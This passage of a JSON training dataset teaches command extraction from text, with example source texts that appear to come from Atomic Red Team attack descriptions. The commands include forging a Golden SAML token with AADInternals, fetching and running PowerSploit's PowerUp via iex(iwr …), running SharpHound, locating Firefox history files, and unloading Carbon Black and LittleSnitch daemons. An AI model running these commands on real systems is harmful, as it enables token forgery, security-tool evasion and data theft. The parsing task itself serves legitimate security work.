where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This process forges a 'Golden SAML' token to impersonate any Azure AD user and authenticate to AADGraph, which can be done via the command: Import-Module AADInternals -Force\n$saml = New-AADIntSAMLToken -ImmutableID \"#{immutable_id}\" -PfxFileName \"#{certificate_path}\" -Issuer \"#{issuer_uri}\"\n$conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache\nif ($conn) { Write-Host \"`nSuccessfully connected as $($conn.User)\" } else { Write-Host \"`nThe connection failed\" }\nWrite-Host \"End of Golden SAML\"\n; This operation finds any instances of Firefox's places.sqlite file across the system and outputs them to a text file with the command: find / -path \"*.mozilla/firefox/*/places.sqlite\" 2>/dev/null -exec echo {} >> #{output_file} \\;\ncat #{output_file} 2>/dev/null",
    "output": "{\"command_list\": [\"Import-Module AADInternals -Force\\n$saml = New-AADIntSAMLToken -ImmutableID \\\"#{immutable_id}\\\" -PfxFileName \\\"#{certificate_path}\\\" -Issuer \\\"#{issuer_uri}\\\"\\n$conn = Get-AADIntAccessTokenForAADGraph -SAMLToken $saml -SaveToCache\\nif ($conn) { Write-Host \\\"`nSuccessfully connected as $($conn.User)\\\" } else { Write-Host \\\"`nThe connection failed\\\" }\\nWrite-Host \\\"End of Golden SAML\\\"\\n\", \"find / -path \\\"*.mozilla/firefox/*/places.sqlite\\\" 2>/dev/null -exec echo {} >> #{output_file} \\\\;\\ncat #{output_file} 2>/dev/null\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable Carbon Black Response, use the following command: sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist\nsudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist; The process of disabling LittleSnitch involves running the command: sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist",
    "output": "{\"command_list\": [\"sudo launchctl unload /Library/LaunchDaemons/com.carbonblack.daemon.plist\\nsudo launchctl unload /Library/LaunchDaemons/com.carbonblack.defense.daemon.plist\\n\", \"sudo launchctl unload /Library/LaunchDaemons/at.obdev.littlesnitchd.plist\\n\"]}"
  }
]